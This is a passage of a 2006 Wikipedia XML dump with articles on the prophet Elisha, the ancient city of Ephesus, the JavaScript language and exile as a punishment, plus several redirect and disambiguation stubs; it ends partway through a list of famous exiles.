      <text xml:space="preserve">'''Elisha''' ('''&amp;#1488;&amp;#1457;&amp;#1500;&amp;#1460;&amp;#1497;&amp;#1513;&amp;#1473;&amp;#1463;&amp;#1506;''' &quot;My [[Elohim|God]] is salvation&quot;, [[Standard Hebrew]] '''Eli&amp;#X161;a&amp;#703;''', [[Tiberian Hebrew]] '''&amp;#702;&amp;#276;lî&amp;#X161;a&amp;#703;''') was the son of Shaphat of [[Abel-meholah]]; he became the attendant and disciple of [[Elijah]] ([[Books of Kings|1 Kings]] 19:16-19).  His name first occurs in the command given to Elijah to [[anoint]] him as his successor (1 Kings 19:16). 

On his way from [[Sinai]] to [[Damascus]], Elijah found Elisha ploughing with twelve yoke of [[oxen]]. He went over to him, threw his [[mantle]] over Elisha's shoulders, and at once adopted him as a son, investing him
with the [[prophet]]ic office (comp. [[Gospel of Luke|Luke]] 9:61,62). Elisha accepted this call about four years before the death
of Israel's King [[Ahab]].  For the next seven or eight years Elisha became Elijah's close attendant until Elijah was taken up
into [[heaven]]. During all these years we hear nothing of Elisha
except in connection with the closing scenes of Elijah's life.

After Elijah, Elisha was accepted as the leader of the sons of
the prophets, and became noted in Israel. He possessed,
according to his own request, &quot;a double portion&quot; of Elijah's
spirit ([[Books of Kings|2 Kings]] 2:9); and for sixty years (892-832 BC) held the office of &quot;prophet in Israel&quot; (2 Kings 5:8).

After Elijah's departure, Elisha returned to [[Jericho]], and
there healed the spring of water by casting [[salt]] into it (2
Kings 2:21). We next find him at [[Bethel]] (2:23), where, with the
sternness of his master, he curses the youths who have come out and ridiculed him as a prophet of [[God]]: &quot;Go up, thou [[bald]] head.&quot; The youths mockingly tell Elisha to follow his master in a [[chariot]] to heaven, and make fun of his appearance. Elisha then pronounces a curse upon them, pleading God for retribution. The judgment is said to have at once taken effect: two she-[[bear]]s come out of the woods and kill 42 of the youths.

Elisha is next encountered in Scripture when he predicts a fall of [[rain]] when the army of [[Jehoram]] was faint from thirst (2 Kings 3:9-20).  Other miracles Elisha accomplishes include multiplying the poor widow's cruse of oil (4:1-7), restoring to life the son of the woman of [[Shunem]] (4:18-37), and multiplying the twenty loaves of new [[barley]] into a sufficient supply for an hundred men (4:42-44).  During the military incursions of [[Syria]] into [[Israel]], Elisha cures [[Naaman]] the Syrian of his [[leprosy]] (5:1-27), punishes his servant [[Gehazi]] for his falsehood and his greed, and recovers an axe lost in the waters of the [[Jordan River|Jordan]] (6:1-7).  He administered the miracle at Dothan, half-way on the road between [[Samaria]] and [[Jezreel Valley|Jezreel]], and at the siege of [[Samaria]] by the king of Syria, Elisha prophesied about the terrible sufferings of the people of Samaria and their eventual relief (2 Kings 6:24-7:2).

Elisha then journeyed to [[Damascus]] and anointed [[Hazael]] king over Syria (2 Kings 8:7-15); thereafter he directs one of the sons of the prophets to anoint [[Jehu]], the son of [[Jehoshaphat]], king of Israel, instead of Ahab. 

Years later, Elisha is found on his death-bed in his own house (2 Kings 13:14-19). [[Joash]], the grandson of Jehu, comes to mourn over his approaching departure, and utters the same words as those of Elisha when Elijah was taken away, indicating his value to him: &quot;My father, my father! the chariot of Israel, and the horsemen thereof.&quot;

After his death, a dead body was laid in Elisha's grave a year
after his burial. No sooner does it touch Elisha's remains
than the man &quot;revived, and stood up on his feet&quot; (2 Kings
13:20-21).

==In Islam==

In the [[Qur'an]] he is known as [[Al-Yasa]].

{{eastons}}

[[Category:Tanakh prophets]]

[[ca:Eliseu]]
[[de:Elischa]]
[[fr:Élisée]]
[[he:אלישע]]
[[nl:Elisa]]
[[fi:Elisa (profeetta)]]
[[sv:Elisha]]
[[zh:以利沙]]</text>
    </revision>
  </page>
  <page>
    <title>Ephesus</title>
    <id>9843</id>
    <revision>
      <id>42149348</id>
      <timestamp>2006-03-04T03:35:35Z</timestamp>
      <contributor>
        <username>Chinawhitecotton</username>
        <id>571336</id>
      </contributor>
      <comment>removed POV and added link to camel wrestling</comment>
      <text xml:space="preserve">'''Ephesus''' ( [[Greek language|Greek]]: '''Έφεσος''' see also [[List of traditional Greek place names]], [[Turkish language|Turkish]]: '''Efes''') was one of the great cities of the [[Ionia]]n Greeks in [[Asia Minor]], located in [[Lydia]] where the [[Cayster river]] flows into the [[Aegean Sea]] (in modern day [[Turkey]]).  It was founded by colonists principally from [[Athens]]. The [[ruins]] of Ephesus are a major tourist attraction, especially for people travelling to Turkey by cruise ship via the port of [[Kusadasi]].

==Ancient Ephesus==
[[Image:Ac.artemisephesus.jpg|thumb|left|250px|Site of the [[Temple of Artemis]]]]
Ephesus is believed by many to be the Apasa (or ''Abasa'') mentioned in [[Hittites|Hittite]] sources as the capital of the kingdom of [[Arzawa]]. [[Mycenae]]an pottery has been found in excavations at the site. The many-breasted &quot;Lady of Ephesus&quot;, identified by Greeks with [[Artemis]], was venerated in the [[Temple of Artemis]], the largest building of the ancient world, according to  [[Pausanias (geographer)|Pausanias]] (4.31.8) and one of the [[Seven Wonders of the World]], of which scarcely a trace remains (''illustration, left'').

==Roman Ephesus==

[[Image:ephesus_theater.jpg|thumb|right|250px|The Roman Theater at Ephesus]]

Beginning in the [[Roman Republic]], Ephesus was the capital of proconsular Asia, which covered the western part of Asia Minor. The city bore the title of &quot;the first and greatest metropolis of Asia.&quot; It was distinguished for the [[Temple of Artemis]] ([[Diana (goddess)|Diana]]), who had her chief shrine there, for its library, and for its theatre, which would have been capable of holding 25,000 spectators. It was, like all ancient theatres, open to the sky; it was used initially for drama, but during later Roman times gladiatorial combats were also held on its stage. The population of Ephesus has been estimated to be in the range of 400,000 to 500,000 inhabitants in the year 100 AD, making it one of the largest cities of the day. Ephesus also had several major bath complexes, built at various points while the city was under Roman rule.

Ephesus was an important center for early [[Christianity]]. [[Paul of Tarsus|Paul]] used it as a base. He became embroiled in a dispute with artisans, whose livelihood depended on the Temple of Artemis there ([[Acts]] 19:23&amp;ndash;41), and wrote [[1 Corinthians]] from Ephesus. Later Paul [[Epistle to Ephesians|wrote]] to the Christian community at Ephesus. 

''The Catholic Encyclopedia'' notes, &quot;the Apostle and Evangelist John lived in Asia Minor in the last decades of the first century and from Ephesus had guided the Churches of that province...After Domitian's death the Apostle returned to Ephesus during the reign of Trajan, and at Ephesus he died about A.D. 100 at a great age&quot;.  Ephesus was one of the [[Seven churches of the Book of Revelation|seven cities]] addressed in [[Book of Revelation|Revelation]] (2:1&amp;ndash;7). 

There is also a letter written by [[Ignatius of Antioch]] to the Ephesians in the early 2nd century AD, that begins with, &quot;Ignatius, who is also called Theophorus, to the Church which is at Ephesus, in Asia, deservedly most happy, being blessed in the greatness and fulness of God the Father, and predestinated before the beginning of time, that it should be always for an enduring and unchangeable glory&quot; (''Letter to the Ephesians'').  

The [[house of the Virgin Mary]], about 7 km from [[Selçuk]], is said by the [[Roman Catholic Church]] to have been the last home of the Virgin Mary and is a popular place of pilgrimage.

Ephesus was the setting for the [[Council of Ephesus|Third Ecumenical Council]] in [[431]], which resulted in the condemnation of [[Nestorius]].

The Roman city of Ephesus was abandoned in the 6th century AD when the harbor completely filled in with river silt (despite repeated dredges during the city's history), removing its access to the [[Aegean Sea]].

==Modern Ephesus==

[[image:Ephesus_library-650px.jpg|thumb|250px|Roman scholars spent their mornings studying in the civic library.]]

A part of the site of this once famous city is now occupied by a small Turkish town, [[Selçuk]], which is also the site of the St. John's Basilica.

It is a vast site, not yet completely excavated but what is visible gives some idea of its original splendour and the names associated with it are evocative of its former life.  The amphitheatre is huge and in a very outstanding position which dominates the view down Harbour Street leading to the harbour, long since silted up.

The [[Celsus Library]], whose facade has been carefully reconstructed from all original pieces, was built by a Roman in memory of his father. It is spectacular.  The building faces east so that the reading rooms could make best use of the morning light. An underground tunnel leads from the library to a nearby building believed to have been a drinking establishment or brothel.

The Temple of [[Artemis]], one of the [[Seven Wonders of the World]], is represented only by one inconspicuous column, owing to the removal of the vast majority of material by the British. Most of the artwork from the temple currently resides in the [[British Museum]].

Turkey's annual [[camel wrestling]] championship occurs at the ancient stadium in Ephesus in the winter.

----
''This article uses text from Easton's Bible Dictionary, 1897 -- Please update as needed''

== External links ==
* [http://online.mq.edu.au/pub/ACANSCAE/ Coinage of Ephesus, Macquarie University, Australia]
* [http://www.turkishodyssey.com/places/aegean/aegean3.htm Ephesus] 
* [http://www.pbase.com/dosseman/ephesus Photographic tour of the historic city]
* [http://www.pbase.com/dosseman/selcuk The nearby modern town, with some nearby other monuments]
* [http://www.turkishclass.com/turkey_pictures_gallery_45 Pictures of Ephesus]
* [http://www.livius.org/a/turkey/ephesus/ephesus1.html Livius Picture Archive: Ephesus (Selçuk)]

{{commons|Ephesos}}

[[Category:Athenian colonies]]
[[Category:Roman sites in Turkey]]
[[Category:Archaeological sites in Turkey]]
[[Category:Pauline churches]]

[[cs:Efesos]]
[[de:Ephesos]]
[[es:Éfeso]]
[[eo:Efeso]]
[[fr:Éphèse]]
[[ko:에페소스]]
[[id:Efesus]]
[[it:Efeso]]
[[la:Ephesus]]
[[nl:Efeze]]
[[ja:エフェソス]]
[[no:Efesos]]
[[pl:Efez]]
[[pt:Éfeso]]
[[fi:Efesos]]
[[sv:Efesos]]
[[tr:Efes, İzmir]]
[[zh:以弗所]]</text>
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  </page>
  <page>
    <title>Egyptian Mythology</title>
    <id>9844</id>
    <revision>
      <id>15907709</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Egyptian mythology]]
</text>
    </revision>
  </page>
  <page>
    <title>JavaScript</title>
    <id>9845</id>
    <revision>
      <id>42002589</id>
      <timestamp>2006-03-03T03:49:59Z</timestamp>
      <contributor>
        <ip>70.109.62.250</ip>
      </contributor>
      <comment>/* Usage */</comment>
      <text xml:space="preserve">'''JavaScript''' is the name of [[Netscape]]'s implementation of [[ECMAScript]], a [[scripting language|scripting]] [[programming language]] based on the concept of [[prototype-based programming|prototypes]]. The language is best known for its use in [[website]]s, but is also used to enable scripting access to objects embedded in other applications. 

Despite the name, JavaScript is only distantly related to the [[Java programming language]], the main similarity being their common debt to the [[C programming language]]. JavaScript has far more in common with the [[Self programming language]]. 

JavaScript is a registered trademark of [[Sun Microsystems]], Inc.,
used under license for technology invented and implemented by Netscape.
[http://www.sap.com/company/legal/copyright/index.epx]
[http://www.sun.com/suntrademarks/]

==History==
JavaScript was originally developed by [[Brendan Eich]] of [[Netscape Communications Corporation]] under the name ''Mocha'', then ''LiveScript'', and finally renamed to JavaScript. The change of name from LiveScript to JavaScript roughly coincided with Netscape adding support for Java technology in its [[Netscape Navigator]] [[web browser]]. JavaScript was first introduced and deployed in the Netscape browser version 2.0B3 in December of 1995. When web developers talk about using JavaScript in Internet Explorer, they are actually using [[JScript]]. The choice of name proved to be a source of much confusion.

[[As of 2005]], the latest version of the language is JavaScript 1.6, which corresponds to ECMA-262 Edition 3 like JavaScript 1.5, except for Array extras, and Array and String generics. [[ECMAScript]], in simple terms, is a standardized version of JavaScript. The ECMA-357 standard specifies [[E4X]], a language extension dealing with [[XML]].

==Usage==
JavaScript is a prototype-based scripting language with a syntax loosely based on C.  Like C, the language has no input or output constructs of its own.  Where C relies on standard I/O libraries, a [[JavaScript engine]] relies on a ''host environment'' into which it is embedded.  There are many such host environment applications, of which web technologies are the most well known examples. These are examined first.

One major use of web-based JavaScript is to write functions that are embedded in or included from [[HTML]] pages and interact with the [[Document Object Model]] (DOM) of the page to perform tasks not possible in HTML alone. Some common examples of this usage follow.
 
;Opening or [[Pop-up ad|popping up]] a new window with programmatic control over the size, position and 'look' of the new window (i.e. whether or not the menus, toolbars etc are visible.  Usually JavaScript is used to ensure that they are not):  If this degree of control is not required, JavaScript is not necessary.  Simply adding the attribute &lt;code&gt;target=&quot;xxx&quot;&lt;/code&gt; to the [[Html element#Links and anchors|link element]] in HTML will reliably produce a new window the same size as the current one, with menus etc displayed as per the user's preferences. Note that many browsers now include mechanisms that, by default, block all JavaScript pop-ups, displaying only a small message to say that they have done so.
;Checking or [[Validation|validating]] [[Form (web)|web form]] input values to make sure that they will be accepted before they are submitted to the server: There is always a time delay, and a processing overhead on the server, when a form has to be submitted. Nonetheless input validation should be repeated at the server in case the JavaScript failed to run (see below).
;Changing images as the mouse cursor [[Rollover (web design)|moves over them]]: This effect is still enjoyed by many designers, often to draw the user's attention to important links displayed as graphical elements.  With a mind for visually impaired users, who may be using extreme text magnification that makes non-resizing graphics largely irrelevant, others are moving away from this approach.

Unfortunately, the DOM interfaces in various browsers differ and don't always match the [[W3C]] DOM standards. Rather than write different variants of a JavaScript function for each of the many browsers in common use today, it is usually possible, by carefully following the W3C DOM Level 1 or 2 standards, to provide the required functionality in a standards-compliant way that most browsers will execute correctly.  Care must always be taken to ensure that the web page [[Dignified die|degrades gracefully]] and so is still usable by any user who 
* has JavaScript execution disabled - for example as a security precaution
* has a browser that does not understand the JavaScript - for example on a [[Personal digital assistant|PDA]] or [[mobile phone]]
* is visually or otherwise disabled and may be using an unusual browser, a speech browser or may have selected extreme text magnification. For more information on this, see the [[Web Accessibility Initiative]]

Other examples of JavaScript interacting with a web page's DOM have been called [[Dynamic HTML|DHTML]] and [[Single Page Application|SPA]].

A different example of the use of JavaScript in web pages is to make calls to web and web-service servers after the page has loaded, depending upon user actions.  These calls can obtain new information, which further JavaScript can merge with the existing page's DOM so that it is displayed.  This is the basis of [[Ajax (programming)|Ajax]] programming, which is seen by many to be an important part of [[Web 2.0]].  

Outside of the Web, JavaScript interpreters are embedded in a number of tools. [[Adobe Systems|Adobe]] [[Adobe Acrobat|Acrobat]] and Adobe Reader support JavaScript in [[Portable Document Format|PDF]] files. The [[Mozilla]] platform, which underlies several common web browsers, uses JavaScript to implement the user interface and transaction logic of its various products. JavaScript interpreters are also embedded in proprietary applications that lack scriptable interfaces. [[Dashboard (software)|Dashboard Widgets]] in Apple's [[Mac OS X v10.4]] are implemented using JavaScript. Microsoft's [[Active Scripting]] technology supports JavaScript-compatible [[JScript]] as an operating system scripting language. [[JScript .NET]] is a [[Common Language Infrastructure|CLI]]-compliant language that is similar to JScript, but has further object oriented programming features. Tools in the [[Adobe Creative Suite]], including [[Adobe Photoshop|Photoshop]], allow scripting through Javascript.

Each of these applications provides its own object model which provides access to the host environment, with the core JavaScript language remaining mostly the same in each application.

==Syntax==
:''Main article: [[JavaScript syntax]]''
&lt;!-- Need a brief summary about the syntax of JavaScript, and possibly a Hello World example --&gt;

==Debugging==
Depending on the development environment [[debugging]] used to be difficult. Since errors in JavaScript only appear in run-time (i.e., there is no way to check for errors without executing the code), and since JavaScript is interpreted by the web browser as the page is viewed, it may be difficult to track the cause for errors. However nowadays both [[Internet Explorer]] and the [[Gecko (layout engine)|Gecko]]-based browsers come with a reasonably good [[debugger]]. Gecko browsers use the [[Venkman]] debugger, while for Internet Explorer there are two versions: the [[Microsoft Script Debugger]] (free), and the [[Microsoft Script Editor]] (paid). Also, since the arrival of integrated toolbars and plugins, more and more support for JavaScript debugging is becoming available. The Gecko browsers have a native [[DOM]] inspector; for Internet Explorer a DOM inspector is integrated in the [[Web Developer toolbar]].
 
[[Scripting language]]s are especially susceptible to bugs for the inexperienced programmer. Because JavaScript is interpreted, loosely-typed, and has varying environments (host applications), implementations and versions the programmer has to take exceptional care to make sure the code executes as expected. 

Each script block is parsed separately. On pages where JavaScript in script blocks is mixed with HTML, syntax errors can be identified more readily by keeping discrete functions in separate script blocks, or (for preference), using many small linked .js files. This way, a syntax error will not cause parsing/compiling to fail for the whole page, and can enable a [[dignified die]].

==Related languages==
There is no real relationship between [[Java programming language|Java]] and JavaScript; their similarities are mostly in syntax (that is, both derived from [[C programming language|C]]). Their semantics are quite different: notably, their object models are unrelated and largely incompatible. Also worth mentioning is Microsoft's own [[VBScript]], which, like JavaScript, is mainly used in web pages. VBScript has syntax derived from [[Visual Basic]] and is only available on Internet Explorer.

Due to the success of JavaScript, [[Microsoft]] developed a ''compatible'' language known as [[JScript]]. JScript was first supported in the [[Internet Explorer]] browser version 3.0 released in August, 1996. When web developers talk about using JavaScript in the IE browser, they usually mean JScript.

The need for common specifications for the two languages was the basis of the ECMA 262 standard for [[ECMAScript]] (see [[#External links|external links]] below), three editions of which have been published since the work started in November [[1996]] (and which in turn set the stage for the standardization of [[C Sharp programming language|C#]] a few years later). Implementations of ECMAScript include JavaScript, JScript, and [[DMDScript]]. One term often related to JavaScript, the [[Document Object Model]] (DOM), is actually not part of the ECMAScript standard; it's a separate standard, developed by the [[W3C]], closely related to [[XML]].

[[ActionScript]], the [[programming language]] used in [[Macromedia Flash]], bears a resemblance to JavaScript.  ActionScript has similar syntax to JavaScript, but the object model is dramatically different.

[[JSON]], or JavaScript Object Notation, is a general-purpose data interchange format that is defined as a subset of JavaScript.

[[JavaScript OSA]] (JavaScript for OSA, or JSOSA), is a [[Apple Macintosh|Macintosh]] scripting language based on the [[Mozilla]] 1.5 JavaScript implementation, [[SpiderMonkey]]. It is a freeware component made available by [[Late Night Software]]. Interaction with the operating system and with third-party applications is scripted via a ''MacOS'' object. Otherwise, the language is virtually identical to the core Mozilla implementation. It was offered as an alternative to the more commonly used [[AppleScript]] language.

Of only historical interest now, ECMAScript was included in the [[VRML97]] standard for scripting nodes of VRML scene description files.

JavaScript is in fact rather similar in semantics to the [[functional programming language|functional programming languages]] such as [[Scheme programming language|Scheme]] and [[Ocaml]], having [[closure (computer science)|closures]] and supporting [[higher-order function]]s. [http://www.crockford.com/javascript/little.html The Little Javascripter] shows the relationship with [[Scheme programming language|Scheme]] in more detail.

==See also==
{{Wikibookspar||Programming:JavaScript}}
*[[Client-side JavaScript]]
*[[Server-side JavaScript]]
*[[JavaScript engine]]
*[[List of JavaScript engines]]
*[[CorbaScript]]
*[[Dynamic HTML]]
*[[LiveConnect]]
*[[Single Page Application]]
*[[XMLHttpRequest]]

== References ==
* Nigel McFarlane: ''Rapid Application Development with Mozilla'', Prentice Hall Professional Technical References, ISBN 0131423436
* David Flanagan, Paula Ferguson: ''JavaScript: The Definitive Guide'', O'Reilly &amp; Associates, ISBN 0596000480
* Danny Goodman, Scott Markel: ''JavaScript and DHTML Cookbook'', O'Reilly &amp; Associates, ISBN 0596004672
* Danny Goodman, Brendan Eich: ''JavaScript Bible'', Wiley, John &amp; Sons, ISBN 0764533428
* Andrew H. Watt, Jinjer L. Simon, Jonathan Watt: ''Teach Yourself JavaScript in 21 Days'', Pearson Education, ISBN 0672322978
* Thomas A. Powell, Fritz Schneider: ''JavaScript: The Complete Reference'', McGraw-Hill Companies, ISBN 0072191279
* Scott Duffy: ''How to do Everything with JavaScript'', Osborne, ISBN 0072228873
* Andy Harris, Andrew Harris: ''JavaScript Programming'', Premier Press, ISBN 0761534105
* Joe Burns, Andree S. Growney, Andree Growney: ''JavaScript Goodies'', Pearson Education, ISBN 0789726122
* Gary B. Shelly, Thomas J. Cashman, William J. Dorin, Jeffrey Quasney: ''JavaScript: Complete Concepts and Techniques'', Course Technology, ISBN 0789562332
* Nick Heinle, Richard Koman: ''Designing with JavaScript'', O'Reilly &amp; Associates, ISBN 1565923006
* Sham Bhangal, Tomasz Jankowski: ''Foundation Web Design: Essential HTML, JavaScript, CSS, PhotoShop, Fireworks, and Flash'', APress L. P., ISBN 1590591526
* Emily Vander Veer: ''JavaScript For Dummies, 4th Edition'', Wiley, ISBN 0764576593

==External links==
*[http://www.mozilla.org/js/ JavaScript home page] at mozilla.org.

===Reference Material===
* References for Core JavaScript versions [http://developer.mozilla.org/en/docs/Core_JavaScript_1.5_Reference 1.5] and [http://research.nihonsoft.org/javascript/CoreReferenceJS14/ 1.4]
* [http://research.nihonsoft.org/javascript/ClientReferenceJS13/ Client-Side JavaScript 1.3 Reference]
* [http://research.nihonsoft.org/javascript/jsref/ JavaScript 1.2 Reference]
* [http://wp.netscape.com/eng/mozilla/3.0/handbook/javascript/ Guide for JavaScript 1.1] as used by Netscape Navigator 3.x	 
* [http://e-pla.net/documents/manuals/javascript-1.0/ Authoring Guide for JavaScript 1.0] as used by Netscape Navigator 2.0

===Authoring Guides===
*Guides for Core JavaScript versions [http://developer.mozilla.org/en/docs/Core_JavaScript_1.5_Guide 1.5] and [http://research.nihonsoft.org/javascript/CoreGuideJS14/ 1.4]
*[http://docs.sun.com/source/816-5930-10/ iPlanet Web Server, Enterprise Edition Server-Side JavaScript 1.4 Guide]	 
*[http://research.nihonsoft.org/javascript/ClientGuideJS13/ Client-Side JavaScript 1.3 Guide]	 
*[http://docs.sun.com/source/816-6411-10/ Server-Side JavaScript 1.2 Guide]	 
*[http://research.nihonsoft.org/javascript/jsguide/ Client-Side JavaScript 1.2 Guide]
*[http://www.bobbyvandersluis.com/articles/goodpractices.php Ten good practices for writing JavaScript in 2005]

===Tutorials===
*[http://www.quirksmode.org/ Quirksmode - cross-browser JavaScript Tutorials]
*[http://www.onlinetools.org/articles/unobtrusivejavascript/ Unobtrusive Javascript]
*[http://www.yourhtmlsource.com/javascript/ HTML Source JavaScript Tutorials]
*[http://www.remast.de/javascript.php JavaScript functional programming Tutorial]
*[http://www.webreference.com/programming/javascript/diaries/ The JavaScript Diaries]

===Resources===
*[http://developer.mozilla.org/en/docs/JavaScript Mozilla JavaScript Language Documentation]
*[http://developer.mozilla.org/en/docs/New_in_JavaScript_1.6 New in JavaScript 1.6] as implemented in [[Mozilla]]/5.0 release version (rv) 1.8 and later, e.g. [[Mozilla Firefox]] 1.5 RC3 and later
*[http://mozilla.org/js/language/js20/ Proposal for JavaScript 2.0]
*[http://www.jibbering.com/faq/ The official comp.lang.javascript FAQ]
*[http://www.openjsan.org/ JavaScript Archive Network]
*[http://www.crockford.com/javascript/ Douglas Crockford's JavaScript page]
*[http://www.somecoders.com/category/javascript/ Lots of JavaScript Tutorials]
*[[Javascript Namespaces]]

===Common Problems===
*[http://www.softwaresecretweapons.com/jspwiki/Wiki.jsp?page=JavascriptStringConcatenation Performance impact of JavaScript string concatenations]

===History===
*[http://wp.netscape.com/comprod/columns/techvision/innovators_be.html Innovators of the Net: Brendan Eich and JavaScript] ([[Marc Andreesen]], Netscape TechVision, [[24 June]] [[1998]])
*[http://inventors.about.com/library/inventors/bl_javascript.htm Brendan Eich and JavaScript] (about.com)
*[http://weblogs.mozillazine.org/roadmap/archives/008325.html Brendan's Roadmap Updates: JavaScript 1, 2, and in between] - the author's blog entry


{{Major programming languages small}}
[[Category:JavaScript programming language]]
[[Category:Curly bracket programming languages]]
[[Category:Domain-specific programming languages]]
[[Category:Prototype-based programming languages]]
[[Category:Object-based programming languages]]
[[Category:Scripting languages]]

[[ar:جافا سكريبت]]
[[bg:JavaScript]]
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[[ko:자바스크립트]]
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[[uk:Джава сценарій]]
[[zh:JavaScript]]</text>
    </revision>
  </page>
  <page>
    <title>Elbing</title>
    <id>9846</id>
    <revision>
      <id>17746659</id>
      <timestamp>2005-06-28T09:06:41Z</timestamp>
      <contributor>
        <username>Diderot</username>
        <id>31928</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[Elbląg]]</text>
    </revision>
  </page>
  <page>
    <title>Elbing/Elblag</title>
    <id>9847</id>
    <revision>
      <id>23051204</id>
      <timestamp>2005-09-11T18:41:35Z</timestamp>
      <contributor>
        <username>Triddle</username>
        <id>176858</id>
      </contributor>
      <minor />
      <comment>fixed double redirect; [[Wikipedia:Computer help desk/cleanup/double redirects/20050713|You can help!]].</comment>
      <text xml:space="preserve">#REDIRECT [[Elbląg]]</text>
    </revision>
  </page>
  <page>
    <title>Elbing/Truso</title>
    <id>9848</id>
    <revision>
      <id>23340166</id>
      <timestamp>2005-09-16T13:12:34Z</timestamp>
      <contributor>
        <username>JoanneB</username>
        <id>385115</id>
      </contributor>
      <comment>Fixed double redirect; [[Wikipedia:Computer help desk/cleanup/double redirects/20050713|You can help!]].</comment>
      <text xml:space="preserve">#REDIRECT [[Elbląg]]</text>
    </revision>
  </page>
  <page>
    <title>Estonian</title>
    <id>9850</id>
    <revision>
      <id>19222146</id>
      <timestamp>2005-07-20T12:16:04Z</timestamp>
      <contributor>
        <username>PeepP</username>
        <id>327858</id>
      </contributor>
      <text xml:space="preserve">'''Estonian''' can refer to:

*Anything related to [[Estonia]].
*The [[Estonians|Estonian]] [[ethnic group]].
*The [[Estonian language]].

{{disambig}}</text>
    </revision>
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    <title>Ego</title>
    <id>9852</id>
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      <id>15907717</id>
      <timestamp>2005-05-03T00:57:17Z</timestamp>
      <contributor>
        <username>Eequor</username>
        <id>49577</id>
      </contributor>
      <minor />
      <comment>Serial communism.</comment>
      <text xml:space="preserve">#REDIRECT [[ego, superego, and id]]</text>
    </revision>
  </page>
  <page>
    <title>Estonia disaster</title>
    <id>9854</id>
    <revision>
      <id>15907718</id>
      <timestamp>2004-04-02T01:09:15Z</timestamp>
      <contributor>
        <username>Leonard G.</username>
        <id>46238</id>
      </contributor>
      <minor />
      <comment>added colon</comment>
      <text xml:space="preserve">#REDIRECT:[[M/S Estonia]]</text>
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  <page>
    <title>Exile</title>
    <id>9855</id>
    <revision>
      <id>41912030</id>
      <timestamp>2006-03-02T15:50:46Z</timestamp>
      <contributor>
        <ip>213.250.143.131</ip>
      </contributor>
      <comment>/* Famous people who have been in exile */ Khomeini. El Cid</comment>
      <text xml:space="preserve">:''See [[Exile (disambiguation)]] for other meanings.'' 

'''Exile''' is a form of [[punishment]]. It means to be away from one's home (i.e. [[city]], [[state]] or [[country]]) while either being explicitly refused permission to return and/or being threatened by [[prison]] or [[death penalty|death]] upon return. 

It is common to distinguish between '''internal exile''', i.e., forced [[resettle]]ment within the [[country]] of [[residence]], and '''external exile''', [[deportation]] outside the country of residence.

== History ==

Exile has a long tradition as a form of punishment. It has been known in [[Ancient Rome]], where the [[Roman Senate]] had the power to exile individuals, entire families or countries (which amounted to a [[declaration of war]]). 

In the [[Polish-Lithuanian Commonwealth]] a court of law could sentence a noble to exile (''banicja''). As long as the exile (''banita'') remained in the Commonwealth he had a price on his head and lost the priviliges and protection granted to him as a noble. Even killing a ''banita'' was not considered a crime although there was no reward for his death. Special forms of exile were accompanied by ''wyświecenie'' (a declaration of the sentence in churches) or by issuance of a separate declaration to [[townfolk]] and [[peasant]]ry (all of them increased the knowledge of the exile and thus made his capture more likely). 

A more severe penalty than exile was [[infamy]] (''infamia'') - 'a loss of honor and respect' (''utrata czci i wiary''). A noble who has been infamed not only suffered from the same penalties as an exiled one, but in addition, an exiled noble (''banita'') who killed an infamed one (''infamis'') could expect his exile sentence to be revoked. In addition anybody killing an infamed noble could expect a monetary reward from the state (usually a [[starosta]] of given region), and sheltering or supporting an infamed noble were also punishable offences. Both exile and infamy could be revoked if the person had done a great service to the state. As the law system in the Commonwealth was fairly inefficient, many exiles actually stayed within the country, often employed and protected by some [[magnate]]s. One of the most famous exiles of the Commonwealth was [[Samuel Łaszcz]].

== Personal exile ==

Exile was used particularly for political opponents of those in power. The use of exile for political purposes can sometimes be useful for the government because it prevents the exilee from organizing in their native land or from becoming a [[martyr]].

Exile represented a severe punishment, particularly for those, like [[Ovid]] or [[Du Fu]], exiled to strange or backward regions, cut off from all of the possibilities of life as well as their families and associates. [[Dante Alighieri|Dante]] describes the pain of exile in the ''[[Divine Comedy]]'':

:«. . . Tu lascerai ogne cosa diletta
:più caramente; e questo è quello strale
:che l'arco de lo essilio pria saetta.
:Tu proverai sì come sa di sale
:lo pane altrui, e come è duro calle
:lo scendere e 'l salir per l'altrui scale . . .»

:&quot;. . . You will leave everything you love most:  
:this is the arrow that the bow of exile
:shoots first.  You will know how salty
:another's bread tastes and how hard it
:is to ascend and descend 
:another's stairs . . .&quot;

:Paradiso XVII: 55-60  

Exile has been softened, to some extent, in the [[19th century|nineteenth]] and [[20th century|twentieth]] centuries, as exiles have received welcome in other countries and have either created new communities within those countries or, less frequently, returned to their [[homeland]]s following the demise of the regime that exiled them.

== Government in exile ==
{{main|Government in exile}}

During a foreign [[occupation]] or after a [[coup d'etat]], a ''government in exile'' of a such afflicted country may be established abroad.

== Nation in exile ==
{{main|Diaspora}}

When large groups, or occasionally a whole people or nation is exiled, it can be said that this nation is in ''exile'', or '''[[Diaspora]]'''. Nations that have been in exile for substantial periods include the [[Jew]]s, who were deported by [[Nebuchadnezzar II of Babylon]] in [[597 BC]] and again in the years following the destruction of the second [[Temple in Jerusalem]] in the year AD [[70]].

After the [[partitions of Poland]] in the late 18th century, and following the [[uprising]]s (like [[Kosciuszko Uprising]], [[November Uprising]] and [[January Uprising]]) against the partitioning powers ([[Russian Empire]], [[Prussia]] and [[Austro-Hungary]]), many Poles have chosen - or be forced - into exile, forming large diasporas (known as [[Polonia]]), especially in France and United States.

The entire population of [[Crimean Tatars]] (200,000) that remained in their homeland [[Crimea]] was exiled on [[18 May]] [[1944]] to [[Central Asia]] as a form of [[ethnic cleansing]] and [[collective punishment]] on false accusations.

At [[Diego Garcia]], between [[1967]] and [[1973]] the [[British Government]] forcibly removed some 2,000 [[Ilois]] resident islanders to make way for a [[military base]] today jointly operated by the [[United States|US]] and [[UK]].

== Tax exile ==
{{main|tax haven}}
A wealthy citizen who departs from a former abode for a lower tax jurisdiction in order to reduce his/her [[taxation|tax burden]] is termed a ''tax exile''.

== Famous people who have been in exile ==

*[[Manuel Altolaguirre]], exiled from [[Spain]], to [[Cuba]] and [[Mexico]].
*[[Michel Aoun]], exiled from [[Lebanon]], to [[France]]
*[[Reinaldo Arenas]] exiled from [[Cuba]], to [[United States]]
*[[Jean-Bertrand Aristide]], exiled from [[Haiti]], to [[Venezuela]] and [[United States]] (1990-1994), and then to [[Central African Republic]] and [[South Africa]] (2004-present)
*[[Miguel Ángel Asturias]] exiled from [[Guatemala]] to [[France]]
